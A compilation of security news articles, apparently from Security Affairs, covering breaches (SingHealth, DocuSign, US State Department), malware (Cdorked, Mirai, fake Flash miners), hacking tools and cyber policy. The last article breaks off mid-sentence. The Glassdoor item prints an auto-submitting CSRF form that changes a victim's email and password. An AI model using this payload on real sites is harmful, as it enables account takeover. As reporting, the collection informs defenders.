6954_74614 | The largest healthcare group in Singapore, SingHealth, has suffered a massive data breach that exposed personal information of 1.5 million patients who visited the clinics of the company between May 2015 and July 2018. Stolen records include patient’s name, address, gender, race, date of birth, and National Registration Identity Card (NRIC) numbers., SingHealth has 42 clinical specialties, a network of 2 Hospitals, 5 National Specialty Centres, 9 Polyclinics, and Bright Vision Community Hospital., According to a data breach notification released by Singapore’s Ministry of Health (MOH), hackers stole personal information along with ‘information on the outpatient dispensed medicines’ of about 160,000 patients. Data belonging to Singapore’s Prime Minister Lee Hsien Loong and of other ministers have been exposed in the security breach., “About 1.5 million patients who visited SingHealth’s specialist outpatient clinics and polyclinics from 1 May 2015 to 4 July 2018 have had their non-medical personal particulars illegally accessed and copied. The data taken include name, NRIC number, address, gender, race and date of birth. Information on the outpatient dispensed medicines of about 160,000 of these patients was also exfiltrated. The records were not tampered with, i.e. no records were amended or deleted.” reads the data breach notification., “On 4 July 2018, IHiS’ database administrators detected unusual activity on one of SingHealth’s IT databases. They acted immediately to halt the activity,” , , According to Singapore’s authorities, the hackers specifically and repeatedly targeted Prime Minister Lee Hsien Loong’s data., MOH explained that the data breach is the result of a targeted attack, local media speculate the involvement of a nation-state actor in the cyber attack., “Investigations by the Cyber Security Agency of Singapore (CSA) and the Integrated Health Information System (IHiS)1 confirmed that this was a deliberate, targeted and well-planned cyberattack. It was not the work of casual hackers or criminal gangs.” reads the press release., Commenting on the cyber attack through a Facebook post published today,, Singapore’s Prime Minister declared the attackers are “extremely skilled and determined” and they have “huge resources” to conduct such cyber attacks repeatedly, a attacker’s profile that match with an APT group., “I don’t know what the attackers were hoping to find. Perhaps they were hunting for some dark state secret or at least something to embarrass me. If so, they would have been disappointed,” Singapore PM said. “My medication data is not something I would ordinarily tell people about, but nothing is alarming in it.” wrote Singapore’s Prime Minister., “Those trying to break into our data systems are extremely skilled and determined. They have huge resources, and never give up trying. Government systems come under attack thousands of times a day. Our goal has to be to prevent every single one of these attacks from succeeding. If we discover a breach, we must promptly put it right, improve our systems, and inform the people affected.”, The good news for Singapore citizens is that no medical records were accessed by hackers., All affected patients will be contacted by the healthcare institution over the next five days., Pierluigi Paganini, (Security Affairs – SingHealth, data breach) |
1743_31244 | The Independent Security Researcher Mohamed M.Fouad has discovered a lot of critical security vulnerabilities at Glassdoor that could lead to very harmful impact on all users. Mohamed M.Fouad an Independent Security Researcher from Egypt. I have been got acknowledgement from many of the Firms like as Microsoft,Oracle,Yahoo,eBay,Sony,AT&T,Huawui,Adobe,DropCam, Bitcasa, Get Pocket, Splitwise and so many…, Glassdoor is an American site, launched in 2007, where employees and former employees anonymously review companies and their management, the company proposes its activity as a precous helps for the users to find a job and company they love. In the year prior to April 2014, more than 500,000 company reviews were submitted to the website., , ================================================, Email Address and Password CSRF :
=============================================
<html>
<body onload=”document.csrf.submit()”>
<formaction=” method=”post” name=”csrf”>
<input type=”hidden” name=”selTabIndex=1″ value=”1″><br>
<inputtype=”hidden”name=”emailAddress” value=”[email protected]”><br>
<input type=”hidden” name=”birthYear” value=””><br>
<input type=”hidden” name=”race” value=””><br>
<input type=”hidden” name=”highestEducation” value=””><br>
<input type=”hidden” name=”newPassword” value=”hacked@2014″><br>
<input type=”hidden” name=”confirmPassword” value=”hacked@2014″><br>
</form>
</form>
</body>, , Pierluigi Paganini, (Security Affairs – Glassdoor, Hacking) |
578_13969 | Securi security firm detected a new sophisticated Apache backdoor used to hijack traffic to malicious website serving the popular Blackhole exploit kit., The company published a blog post describing the new Apache backdoor that according security experts already affects hundreds of web servers., The backdoor, named Linux/Cdorked.A, is considered one of the most sophisticated Apache backdoor detected, it operate stealthy and leaves no traces of compromised hosts on the hard drive other than its modified httpd binary., In the last months the security researchers have tracked server level impairments that utilized malicious Apache modules such as Darkleech to inject malware into websites. The researchers noted a change in how the injections were being implemented, on cPanel-based servers, “instead of adding modules or modifying the Apache configuration, the attackers started to replace the Apache binary (httpd) with a malicious one.”, The experts at Securi collaborated with colleagues from the ESET company to qualify the Apache backdoor, following interesting features discovered by the two teams:, ESET researchers provided an interesting analysis of the binary of the back door, all instances analyzed contains a total of 70 strings that are encoded with a function with a static XOR key. In the following image the key used for encoding the data 27A4E2DADAF183B51E3DA7F6C9E6239CDFC8A2E50A60E05F., Very tricky the redirection in Linux/Cdorked.A Apache Backdoot, when redirecting a client, the malicious code adds base64 encoded string to the query containing information like the original visited URL and whether or not the request was originally to a javascript file so the server could provide the right payload., Following an example of redirection provided by ESET post:, After decoding, the following parameters appear:, Note that The “surl” parameter shows the infected host and the “suri” indicates what the original requested resource was., “After the redirection, a web cookie is set on the client so it is not redirected again. This cookie is also set if a request is made to a page that looks like an administration page. The backdoor will check if the URL, the server name, or the referrer matches any of the following strings : ‘*adm*’, ‘*webmaster*’, ‘*submit*’, ‘*stat*’, ‘*mrtg*’, ‘*webmin*’, ‘*cpanel*’, ‘*memb*’, ‘*bucks*’, ‘*bill*’, ‘*host*’, ‘*secur*’, ‘*support*’. This is probably done to avoid sending malicious content to administrators of the website, making the infection harder to spot. The following screenshot shows part of the code responsible for handling the web cookie.”, The Apache backdoor allows the attackers to gain full control of victims, the researcher discovered in fact also 23 commands in Linux/Cdorked.A that can be submitted to the server via a POST to a specifically crafted URL., ie. command list : ‘DU’, ‘ST’, ‘T1′, ‘L1′, ‘D1′, ‘L2′, ‘D2′, ‘L3′, ‘D3′, ‘L4′, ‘D4′, ‘L5′, ‘D5′, ‘L6′, ‘D6′, ‘L7′, ‘D7′, ‘L8′, ‘D8′, ‘L9′, ‘D9′, ‘LA’, ‘DA’., Using the commands the attackers can modify configurations or inject modules and replacing binaries., The discovery of Securi specialists is concerning, authors of Apache backdoors are implementing even more sophisticated tactics to avoid detection by administrators of compromised servers., Are you interested to know if your system has been compromised? Following suggestion provided by Securi firm:, “As previously mentioned, the permissions on the shared memory allocation are loose. This allows other process to access to memory. We have made a free tool (dump_cdorked_config.py) to allow systems administrators to verify the presence of the shared memory region and dump its content into a file. We also recommend using debsums for Debian or Ubuntu systems and `rpm –verify` for RPM based systems, to verify the integrity of your Apache web server package installation. (However, remember to temper this advice with the reality that the package manifest could have been altered by an attacker.) Checking for the presence of the shared memory is the recommended way to make sure you are not infected. We would be interested in receiving any memory dumps for further analysis.”, The investigation is going on, the security specialists have no information of how the servers are initially attacked, the most plausible hypothesis is through SSHD-based brute force attacks., Pierluigi Paganini, (Security Affairs – Malware) |
2485_38243 | Cybercrime represents one of the most serious threat to Governments and private industries worldwide, law enforcement hunt down this emerging class of criminals who are able to influence the social context like drug traffickers and terrorists., The FBI has published the lists of most wanted cyber criminals and the rewards for their capture. According to FBI data these individuals are responsible for hundreds of millions of dollars in losses, for this reason, the Feds are willing to pay a combined $4.2 million for information leading to their arrest., U.S. Retailer giants Target and Home Depot are just a couple of samples of companies that suffered major cyber attacks, we cannot avoid mentioning other illustrious victims of the cybercrime like the Sony Pictures and government agencies, including the Office of Personnel Management., Recently Trustwave firm published a report related to 2014 incidents that revealed cyber criminal activities are paying with 1,425% return on investment., Who are the most wanted hackers and which are the rewards for their arrest?, , The top five most wanted hackers by the FBI:, 1. Evgeniy Mikhailovich Bogachev | Reward: $3 million , Bogachev is the mastermind of the dreaded ZeuS botnet, probably the most prolific banking Trojan that is used by criminal crews to steal bank account numbers, user credentials and other personal information. In February the Justice Department has announced a reward of up to $3 million for the capture of the GameOver ZeuS botnet master. The malicious botnet was used by “a tightly knit gang ofcybercriminals” who developed and used the Gameover ZeuS botnet to steal million online banking credentials from Microsoft Windows machines worldwide. Law enforcement sustains that the botnet infected more than 1 million machines worldwide stealing nearly $100 million. Despite law enforcement has dismantled the GameOver Zeus botnet, authorities are still searching for the kingpin., “He’s probably our number 1 target,” said Special Agent Christopher Stangl, who heads the Computer Intrusion Section of the FBI’s Cyber Division., 2. Nicolae Popescu | Reward: $1 million, Popescu is another popular cyber criminal that implemented a “tried and true” method of deceiving online consumers. The man set up fake auctions for automobiles on popular sites, including Cars.com and AutoTrader in 2012. The FBI said that Popescu and his accomplices made $3 million off the auctions. Six members of its criminal organization were arrested in 2012, but Popescu is still on the loose likely in Romania., 3. Alexsey Belan | Reward: $100,000, Belan hacked three e-commerce sites in Nevada and California stealing consumer data in 2012 and 2013, the precious data are then offered for sale in the underground market., “This information is extremely valuable in the underground market, and that market drives the bad guys that commit those crimes,” said Stangl., 4. Peteris Sahurovs | Reward: $50,000, Sahurovs sold ads serving malware to news Web sites posing as a fake hotel chain. It is responsible for a malvertising campaign which served a ransomware to extort $50 ransom to the victims. The malware used by Sahurovs basically flood with pop-ups the victim’s PC. Sahurovs made $2 million using this attack scheme. The ransom requested to the victims is very low respect the one requested by other threat actors (i.e. Cryptowall) to persuade victims to pay and not report the attack., 5. Shaileshkumar “Sam” Jain | Reward: $50,000, Jain is the unique American in the list, he made $100 million between 2006 and 2008 by selling bogus software, or “scareware.” In order to deceive the victims, he flooded their PCs with pop-up ads that notified their computers were infected with a malware., Pierluigi Paganini, (Security Affairs –hackers, FBI), // <!CDATA
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4170_50624 | The investigation started after more than 22,000 pages related to six DCNS Scorpene submarines being built in India were leaked., “DCNS has been made aware of articles published in the Australian press related to the leakage of sensitive data about Indian Scorpene.This serious matter is thoroughly investigated by the proper French national authorities for Defense Security. This investigation will determine the exact nature of the leaked documents, the potential damages to DCNS customers as well as the responsibilities for this leakage.” reads the press information published by the company., , The journalists at The Australian had reviewed over 4,450 pages on the Scorpene’s underwater sensors, over 4,300 pages on its combat systems, 4,200 pages of data on above-water sensors., The DCNS claimed it was the victim of economic cyber espionage, a DCNS spokeswoman told Reuters that the security breach could have a dramatic impact on the company due to the exposure of sensitive information related the collaboration of the company with some governments., “Asked if the leak could affect other contracts, a company spokeswoman said it had come against a difficult commercial backdrop and that corporate espionage could be to blame.” reported the Reuters. “Competition is getting tougher and tougher, and all means can be used in this context,” she said. “There is India, Australia and other prospects, and other countries could raise legitimate questions over DCNS. It’s part of the tools in economic warfare.”, The Australian newspaper published some 22,400 documents containing technical details of six DCNS Scorpene submarines that are being built at a shipyard in Mumbai, India., “I understand there has been a case of hacking,” Indian Defence Minister Manohar Parrikar told reporters. “We will find out what has happened.”, The DCNS Scorpene submarines are technological jewels, the documents include highly sensitive details of the submarine including manuals and models of the boat’s antennae., This new generation of submarines has significant intelligence-gathering capabilities, is it equipped with advanced combat systems and high-tech devices for communication., As anticipated the leaked documents also include secret information related the activities conducted by the French firm with various governments. The leaked files include secret information on sea trials that the Malaysian Navy is conducting with its fleet of DCNS Scorpene submarines. Some documents are related to business information with Chile and Russia, in the first case the company provided radar systems for some Chilean frigates, meanwhile the Russian government received amphibious assault vessels., In a brief statement, the DCNS said it is aware of the leak on the Indian Scorpenes and noted that the appropriate French authorities are currently investigating the breach. “This investigation will determine the exact nature of the leaked documents, the potential damages to DCNS customers as well as the responsibilities for this leakage.”, The Australian hasn’t revealed the source of the documents but confirmed that the security breach could have serious repercussions on a $38 billion project that the DCNS is currently negotiating with the Australian government., Pierluigi Paganini, (Security Affairs – cyber espionage, DCNS Scorpene submarines) |
1075_23085 | Several thousands of critical infrastructure may still be vulnerable to SCADA flaws public disclosed this week. It has been estimated that more than 7,600 different chemicals, power and petrochemical plants are affected by the bugs disclosed by security researcher at Rapid 7 in Yokogawa Electric’s CENTUM CS3000 R3 product. The Windows software affected by the flaws designed by Yokogawa was on the market since 1998 and is largely diffused within the European and Asian infrastructure, including power plants, airports and similar facilities. All of the bugs affect CENTUM CS 3000 software used for industrial control systems. The security expert at Rapid7, Juan Vazquez, and independent security researcher Julian Vilas Diaz discovered the bugs and presented their findings in a talk “Kicking SCADA Around” last weekend at the RootedCON conference in Madrid, Spain successively they published a blog post including technical details about three vulnerabilities. The flaw discovered by the researchers are buffer overflows, heap based and stack based, that could be exploited by attackers to sabotage the Yokogawa application. The first flaw discovered by researchers allows DoS and the execution of arbitrary code with system privileges just sending specially crafted packets to BKCLogSvr.exe to trigger a heap based buffer overflow., , The second vulnerability is quite similar to the previous one, sending a specially crafted packet to BKHOdeq.exe is possible to cause a stack based buffer overflow, allowing “execution of arbitrary code with the privileges of the CENTUM user.” The third vulnerability is a stack based buffer overflow, which affect the BKBCopyD.exe service, could allow the execution of arbitrary code. “The vulnerabilities have been found in the version R3.08.50:, Rapid 7 firms ethically disclosed the vulnerabilities to Japanese Yokogawa firm back in December, only last week its experts published an advisory on the vulnerabilities. The Japanese Yokogawa invites its customers who use CENTUM CS 300 to immediately update to the latest version of the application (R3.09.50) and patching it to resolve the vulnerabilities., Pierluigi Paganini, (Security Affairs – SCADA, Yokogawa, Critical infrastructure) |
7512_78791 | Attackers changed the defacement page a few times, they protested against the new Linux kernel developer code of conduct in a regrettable way with racial slurs and the image of an individual showing the anus., The defacement page also includes links and a Twitter account (@kitlol5) believed to be under the control of the attacker., The person who was operating the Twitter account posted a screenshot showing that they had access to the Network Solutions account of Michelle McLagan, who evidently owns linux.org, and modified the DNS settings., “This evening someone got into my partner’s netsol account and pointed linux.org DNS to their own cloudflare account. The production env (web / db) wasn’t touched. DNS was simply pointing to another box.” one of the Linux.org admins wrote on Reddit., “She’s working with netsol to prove ownership, etc.. and we’re hoping things will be cleared up in the morning.”, The hacker did not access the servers hosting Linux.org and user data were not compromised., How to prevent this kind of incident?, Administrators should enable multi-factor authentication (MFA) for their account., “I think it was a combination of public whois info and no MFA that lead to this,” added the Linux.org admin. , “There’s always one thing – they found the weakest link and exploited it.”, After the incident, admins have enabled MFA on all accounts., Pierluigi Paganini, (Security Affairs – DNS hijack, hacking) |
3236_43453 | Members of the ISIS terrorist group make large use of technology, security experts believe that it is radical organization with the greatest cyber capabilities in the history., Recently a footage published by Skynews demonstrated the existence of an R&D center in Syria where missiles and other technologies are designed., After the Paris attacks, a raid in nearby Brussels provided evidence that terrorists were using at least one PlayStation 4 console., The Belgian federal home affairs minister Jan Jambon explained that the PS4 was used by ISIS members for their communications., The choice is not casual, despite the effort of the intelligence agencies in monitoring communications over Gaming console, the ISIS members were aware of the difficulties to conduct a large-scale surveillance on the PlayStation 4 channels., “The thing that keeps me awake at night is the guy behind his computer, looking for messages from the Islamic Stateand other hate preachers,” Jambon said last Friday, according to Brussels weekly, the Bulletin. “PlayStation 4 is even more difficult to keep track of than WhatsApp.”
, “The most difficult communication between these terrorists is via PlayStation 4. It’s very, very difficult for our services — not only Belgian services but international services — to decrypt the communication that is done via PlayStation 4.” stated a blog post on the Politico website., How is it possible to use PlayStation for cover communications?, According to the experts, there are features in video games that allow to easily communicate when two or more individuals participate in a multiplayer game session., In the popular game Call of Duty it is possible to pilot using bullets to pepper walls with holes, in this way it is also possible to write a text on the wall that disappears after a few seconds., Not only bullet holes in Call of Duty, many experts noticed that the innocent games like Mario could be exploited for communication. this time, the messages could be arranged on the floor by using Mario coins., , Is it really secure for terrorists use the PlayStation 4 for their communications?, A trio of security experts from Duo Labs has explained that using video games as a secure communication channel is not so secure. The experts have tested the messaging systems implemented by the PlayStation 4 and the feasibility of various ways for writing text using game features., The experts at Duo Labs wrote an interesting post titled “Debunking Myths: Do Terrorists Use Game Consoles to Communicate With Each Other?”, “Duo Labs tested it out with simple text and voice messages back and forth between two users on the Playstation network via PS4 and found:, Summarizing it is possible to monitor communications through the PlayStation 4 because the mechanism is affected by flaws that could be exploited for surveillance., Meanwhile, applications like WhatsApp implements end-to-end encryption, making it harder for law enforcement and nation-state actors to spy on communications., There are also other difficulties related to the use of the features explained before:, “You cannot communicate large chunks of information effectively,” said Duo Labs researcher Mark Loveless said., , “Conclusion: there’s no reason to think that PS4 or Xbox are any more secure than anything else.”, Pierluigi Paganini, (Security Affairs – ISIS, PS4) |
5226_59164 | The Electronic signature technology provider DocuSign suffered a data breach, hackers have stolen email addresses from one of its servers., On Monday the company informed its customers of the data breach and warned them of fake emails set up to deliver weaponized Word documents, it also reported the incident to law enforcement agencies who are currently investigating the case., , The malicious messages appeared to come from addresses such as [email protected] and [email protected], they have the following subject lines:, “Completed: domain name – Wire transfer for recipient-name Document Ready for Signature” and “Completed domain name/email address – Accounting Invoice Number Document Ready for Signature.”, Threat actor behind the DocuSign hack launched a phishing campaign against the customers of the firms, anyway, announced hackers have broken into a “non-core system.” designed for sending service-related email announcements to users., Spear Phishing campaigns following a data breach represent a serious threat for customers of the hacked firm., The company notified the incident to the customers and advised users to be vigilant and to report any suspicious email to [email protected]., “The emails may appear suspicious because you don’t recognize the sender, weren’t expecting a document to sign, contain misspellings (like ‘docusgn.com’ without an ‘i’ or @docus.com), contain an attachment, or direct you to a link that starts with anything other than docusign.com or docusign.net,” DocuSign added., According to DocuSign, hackers only accessed email addresses, there is no evidence that attackers accessed personal and financial information such as names, physical addresses, passwords, social security numbers, and payment card., Below an excerpt from the data breach notification statement issued by DocuSign:, The company said it has blocked the hack and locked out attackers from its systems, it also announced additional security controls., , Pierluigi Paganini, (Security Affairs – DocuSign, data breach) |
7191_76380 | The incident seems to have affected less than 1% of employee inboxes, 600-700 employees out of 69,000 people., “The Department recently detected activity of concern in its unclassified email system, affecting less than 1 per cent of employee inboxes. Like any large organization with a global presence, we know the Department is a constant target for cyber attacks,” states the US State Department., “We have not detected activity of concern in the Department’s classified email system. We determined that certain employees’ personally identifiable information (PII) may have been exposed. We have already notified those employees.”, The security breach affected an unclassified email system at the State Department, the news of the hack came to light after Politico obtained a “Sensitive but Unclassified” notice about the incident., “This is an ongoing investigation, and we are working with partner agencies, as well as the private sector service provider, to conduct a full assessment.” a State Department spokesperson told Politico., “We will reach out to any additional impacted employees as needed.”, After the Agency noticed the “suspicious activity” in its email system notified the incident to a number of employees whose personal information may have been compromised., US State Department didn’t reveal which kind of data had been accessed by attackers, at the time of writing we only know that no classified information had been exposed., The Agency claimed it took steps to secure its system, and it is offering three years of credit and identity theft monitoring to the affected employees., , A group of senators wrote to Secretary of State Mike Pompeo last week raising concerns that the department did not meet federal standards for cybersecurity and questioning its resilience to cyber attacks., “Sens. Ron Wyden (D-Ore.), Rand Paul (R-Ky.), Ed Markey (D-Mass.), Jeanne Shaheen (D-N.H.) and Cory Gardner (R-Colo.) asked Pompeo for an update on what the State Department has done to address its “high risk” designation, and how many cyberattacks the department had been subject to abroad in the last three years.” reported TheHill., “Pompeo was asked to respond by Oct. 12.”, Pierluigi Paganini, (Security Affairs – US State Department, Data Breach) |
2991_41825 | The Infernal-Twin is an automated tool designed for penetration testing activities, it has been developed to assess wireless security by automating the Evil Twin Attack., “The tool was created to help the auditors and penetration testers to perform wireless security assessment in a quick manner and easing complex attack vectors.” states Khalilov M, the author., The bogus Access Point is used to serve to the users in the network faked login pages to steal their Wi-Fi credentials and other sensitive data. The attack scenario could be exploited to run man-in-the-middle attacks or to serve malware to the computers in the targeted network., First of all you need to install all the components necessary to use the tool, including the Apache module, the mysql database, the Scapy packet manipulation tool for computer networks and the wxtools debugging framework., Then you have to install the Aircrack-ng utility and get the infernal-twin from the repository.
Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs., To install the components follow these steps, , At this point launch the Infernal-Twin tool with super administrator privileges. Some users experienced problems connecting to the Database, the user @lightos provided the following solution to fix the issue., Create a new user on the database and use it for launching the tool by following this procedure:, The Infernal -Twin tools implements several features, it provides all the necessary to hack a Wireless network (WPA2, WEP) and easily allows to run Wireless Social Engineering attacks. Below the principal features:, The author of the Infernal-Twin hacking tool, Khalilov M, aka 3ntr0py (entropy1337), announced that next releases will include parsing t-shark log files for gathering victim’s credentials and other data., In the following video is it illustrated an attack on public network, the script should be able to go and modify the login page and alter the content of it with necessary variables., , Below another video turorial on the Infernal-Twin Tool., , If you are interested in Wireless hacking for penetration testing give a look also to WiFiPhisher, a WiFi social engineering tool that allows an attacker to steal credentials from users of secure WiFi networks., WiFiPhisher was developed by the Greek security expert George Chatzisofroniou and is available for download on the software development website GitHub., Pierluigi Paganini, (Security Affairs – Infernal-Twin, Wireless hacking) |
7286_77089 | A fake Adobe Flash update actually was used as a vector for a malicious cryptocurrency miner, the novelty in this last campaign is represented by the tricks used by attackers to stealthily drop the malware., The fake Adobe Flash update has been actively used in a campaign since this summer, it borrows the code from the legitimate update and also updates victims’ software, but it also includes the code to download an XMRig cryptocurrency miner on Windows systems., “However, a recent type of fake Flash update has implemented additional deception. As early as August 2018, some samples impersonating Flash updates have borrowed pop-up notifications from the official Adobe installer.” reads the analysis published by Palo Alto Networks., “These fake Flash updates install unwanted programs like an XMRig cryptocurrency miner, but this malware can also update a victim’s Flash Player to the latest version.”, , , The fake Adobe Flash updates use file names starting with AdobeFlashPlayer that are hosted on cloud-based web servers that don’t belong to Adobe., The downloads always include the string “flashplayer_down.php?clickid=” in the URL., At the time of the report, it is still unclear the way attackers were spreading the URLs delivering the fake Adobe Flash update., The domain is associated with other updaters or installers pushing cryptocurrency miners and other unwanted software, Network traffic analysis revealed the infected Windows hosts connect to osdsoft.com via HTTP POST request. This domain was associated with updaters or installers pushing cryptocurrency miners., “This domain is associated with updaters or installers pushing cryptocurrency miners and other unwanted software. One such example from December 2017 named free-mod-menu-download-ps3.exe also shows osdsoft.com followed by XMRig traffic on TCP port 14444 like the example used in this blog.” continues the report., “However, other malware samples reveal osdsoft.com is associated with other unwanted programs usually classified as malware.”, PaloAlto Networks experts highlighted that potential victims will still receive warning messages about running downloaded files on their Windows computer., “This campaign uses legitimate activity to hide distribution of cryptocurrency miners and other unwanted programs,” concludes the analysis., “Organizations with decent web filtering and educated users have a much lower risk of infection by these fake updates., Pierluigi Paganini, (Security Affairs – fake Adobe Flash update, hacking) |
283_7369 | , , , , , , , , , Ron Kelson Pierluigi Paganini, by Ron Kelson – Vice Chair ICT Gozo Malta Project, Pierluigi Paganini – Director and CISO of Bit4ID, Italy and Benjamin Gittins – CTO Synaptic Laboratories Ltd., Cyber security, civil liberties, our common welfare and the stability of Nations., How bad is the cyber security situation really? If we have a serious security problem, how do we get ourselves out of this mess? In particular, what can I do to improve my situation and protect those I care about?, This is the fourth article in this series that quotes cyber security insiders to progressively answer these important questions. In the first week’s article we learnt that according to the U.S. National Security Agency (NSA) Information Assurance Directorate (IAD):, “There is no such thing as ‘secure’ anymore”., Worse, critical aspects of today’s mainstream civilian cyber security ecosystem foundations are fundamentally flawed at the conceptual design, architecture and implementation levels. (See Synaptic Labs’ free 2012 “Annual Cyber Security Reports” online for the full blow-by-blow disclosure.) In the second article, we explored why weak cyber security is one of the most serious (inter)national security challenges we face today. We learnt how computers used in industrial systems can be hacked, and reprogrammed to make room sized power generators jump up and down, emit smoke, and shake themselves to pieces. We also learnt how “it is possible to contaminate the database upon which banking operates. As there is no gold standard, no dollar bills, so if you can just contaminate the data in one large bank, you could cause global banking to collapse.” Last week we looked at the perverse economic incentives favouring cybercrime. We also explored how inadequate resourcing (training and application of cyber security best practices) continue to expose our communities to cyber fraud, costing victims more than $388 billion worldwide in 2010-2011 and even bankrupting companies., Last week in our discussion concerning “duty of care” in (cyber) risk management, we mentioned how occasionally we hear some security experts/vendors point the blame for poor security at users. Clearly better training of end-users and business managers would help reduce our collective risk. That said, we all know our software is unreliable and requires constant security patching. According to Brian Snow, former Technical Director of the U.S. NSA IAD (code making directorate):, “There are problems today in cyber security practice that impact the community as a whole, and we need to solve those problems soon. They are pervasive, ongoing, and getting worse, not better.” … “Right now, the community at large is applying the wrong or inadequate engineering practices, and taking a lot of short cuts. This adds greatly to our collective security risks.” Ultimately, this joint duty of cyber care must be shared between Governments, vendors, employers and employees., This week we talk about that 8000 pound elephant sitting in the room; we will recall how systematically poor governance decisions around the world has undermined the community and resulted in severe risks to National, Regional and Global stability., , Between 1970 and 2000, individuals and organizations concerned with protecting their personal privacy and corporate secrets were engaged in heated discussions with governments around the world. They wanted the response-ability to employ high assurance security techniques and technologies to safeguard their legitimate interests, and the legitimate interests of their stakeholders. i.e. The ability to defend their domain. During that period of time, policies and legislation discouraged or outright prevented the private sector from building genuinely secure computing systems for the civilian community. The Australian Government – Department of Defence – Defense Signals Directorate website ( ) openly promotes their mission statement as: “Reveal Their Secrets – Protect our Own”. Unfortunately in the past, in practice, most Governments around the world defined “Their Secrets” as the private or sensitive data of any person or organisation not part of their own Government. To ensure easy *covert* access to historically unprecedented amounts of sensitive data Governments around the world systematically undermined and prohibited effective civilian cyber security. Not surprisingly, this made it possible for any malicious actor on the Internet to trivially exploit cyber vulnerabilities which should have been avoidable. Predictably this “Total Information Awareness” style policy has caused untold financial and personal damage to the global community, and now is undermining their own country’s economic stability., Around 2000, the political environment in the West changed in favour of stronger civilian cyber security. Today, civilian ICT organizations have had 12 years to change their development practices… for the most part they have not. Generally speaking, the destructive momentum of low assurance (safety and security) development practices continued throughout the entire ICT industry. As a direct consequence, cyber fraud has cost victims more than $388 billion worldwide in 2010-2011 alone. Feelings of powerlessness and lack of justice continue to be felt by its victims worldwide. , Today Western Governments openly acknowledge that weak cyber security places the stability of (their) nations at risk. Increasingly the Information Assurance Directorates (IAD) of intelligence organisations are proactively supporting and empowering their civilian communities to protect their legitimate interests. Indeed, Governments are now making it extremely clear that there are many economic and social benefits to high assurance security and safety., Governments and the civilian community as a whole must invest, develop, deploy and maintain strong information security techniques and best practices to protect the legitimate interests of all stakeholders., Today, strong security is no longer seen as an economic burden. The official UK Government position published in their Cyber Security Strategy (2011) is:, “We will turn the threat into opportunity and make strong cyber security a positive for all UK businesses and part of the UK’s competitive advantage.”, On the other side of the equation, the proposed amendment to the EU Data Protection Law published on 26 Jan 2012 states:, “Companies found to have mishandled any personal data they hold – be it of their customers, suppliers or their own employees – will face “penalties of up to €1 million or up to 2% of the global annual turnover of a company.”, As we move forward, national and regional cyber strategies must balance the harmonic aspects of cyber defense and cyber offense. Recently Ross Anderson, the well known Professor in Security Engineering at the University of Cambridge, has openly published that he feels that some Governments are too preoccupied with building their cyber attack capabilities. You might ask: Why is this a problem? Cyber attacks rely on the existence of exploitable cyber vulnerabilities. An effective cyber defensive posture would be to discover those exploitable vulnerabilities, notify the ICT vendors (and charge them a large fine for discovering their faults), and ensure that patches are globally applied as fast as possible. The problem? Patching vulnerabilities then eliminates the ability to exploit that vulnerability in a cyber attack against your adversary…, Each intelligence community will have to decide for themselves: is it better to expose their own country to attacks that exploit known cyber vulnerabilities so they can attack others, or is it it better to protect the millions of Government, enterprise and personal computing systems in their country and let go of the attack capability against a few targets?, Are Nations going to invest in the ability to inflict pain, or will they invest in advancing the collective protection of the global community?, The stakes are high. A mistake on this point will expose all of us to unnecessary high risks and unnecessary pain., We now briefly bring our attention to that other 8000 pound elephant also crammed in the room; the need for new cyber safety and security foundations. The US NSA Information Assurance Directorate (IAD) is calling the Civilian and Government ICT security industries to make radical changes to the way they design and develop their security technologies. According to a rare public statement made by Debora A. Plunket, Director of the US NSA IAD:, “There is no such thing as `secure’ anymore. … We have to, again, assume that all the components of our system are not safe, and make sure we’re adjusting accordingly.” , In the same way that the Global community has almost completely abandoned political dictatorships due to the dangers of having a `single point of failure’ in their architecture, the community at large must ultimately abandon security systems with single points of trust/security failure. Unfortunately, secure cyber-security foundations based on a system of checks-and-balances, as called for by the US NSA IAD and others, are not widely available today. Synaptic Laboratories Limited is one example of a company that has taken up the gauntlet, and has several projects under development to address these specific issues., In closing, each of us has the ability to respond right now to protect our collective interests. According to Brian Snow (U.S. NSA IAD): “Each of us has the responsibility:, Working individually and collectively, applying “duty of care” and striving to protect the legitimate interests of all stakeholders, we can, and will, work our way out of this cyber mess. It might be true that there are seven billion people in the world and counting. It might be true (as the U.K. and U.S. Governments say) that our shared cyber problems can not be solved by one person or even one country. Nevertheless, what you do on a day-to-day basis makes a difference, and we need you on board. We look forward to working with you to secure (y)our world., , You can find all articles in this series online at www.independent.com.mt, and shortly in the news section at www.ictgozomalta.eu . You can find full citations to all materials referenced in this article, and related cyber security materials including Brian Snow’s presentation, at tinyurl.com/SynapticLabsAnnualReports2012 . Co-author Pierluigi Paganini, Director and CISO of Bit4ID, Italy has 20+ years of security experience and has many years of in-depth investigative cyber security journalism on important cyber events. Find his blog at: securityaffairs.co . ICT Gozo Malta is a joint collaboration between the Gozo Business Chamber and Synaptic Labs, part funded by the Ministry for Gozo, Eco Gozo Project, and a prize winner in the 2012 Malta Government National Enterprise Innovation Awards. www.ictgozomalta.eu has links to free cyber awareness resources for all age groups. To promote Maltese ICT to the world, we encourage all ICT Professionals to register on the online ICT GM Skills Register and keep aware of developments, both in Cyber Security and other ICT R&D initiatives in Malta and Gozo. For further details contact David Pace at [email protected] ., |
4763_55501 | In the last months, the Mirai bot monopolized the attention of the media, it was used to power the massive DDoS attack against the Dyn DNS service causing an extended Internet outage., A large portion of Internet users was not able to reach most important web services, many websites like including Twitter, GitHub, PayPal, Amazon, Reddit, Netflix, and Spotify were down for netizens in the US., The same IoT botnet was used to launch a massive Distributed Denial of Service (DDoS) attack against the website of the popular cyber security investigator Brian Krebs who decided to investigate about the author of the dangerous malware., In October a hacker released the source code of the Mirai malware, a reference to the malicious code was spotted by Brian Krebs on the popular criminal hacker forum Hackforum. The Hackforum user with moniker “Anna-senpai” shared the link to the source code of the malware “Mirai.”, “The leak of the source code was announced Friday on the English-language hacking community Hackforums. The malware, dubbed ‘Mirai’ spreads to vulnerable devices by continuously scanning the Internet for IoT systems protected by factory default or hard-coded usernames and passwords.” reported Krebs., , The Mirai malware was specifically designed to infect Internet of Things (IoT) devices using the credential factory settings, a circumstance that is quite common in the wild., Brian Krebs believes to have discovered the real identity of the mysterious Anna-senpai, his name is Paras Jha, the owner of a distributed denial-of-service (DDoS) attack mitigation company ProTraf Solutions., , “After months of gathering information about the apparent authors of Mirai, I heard from Ammar Zuberi, once a co-worker of ProTraf President Paras Jha., Zuberi told KrebsOnSecurity that Jha admitted he was 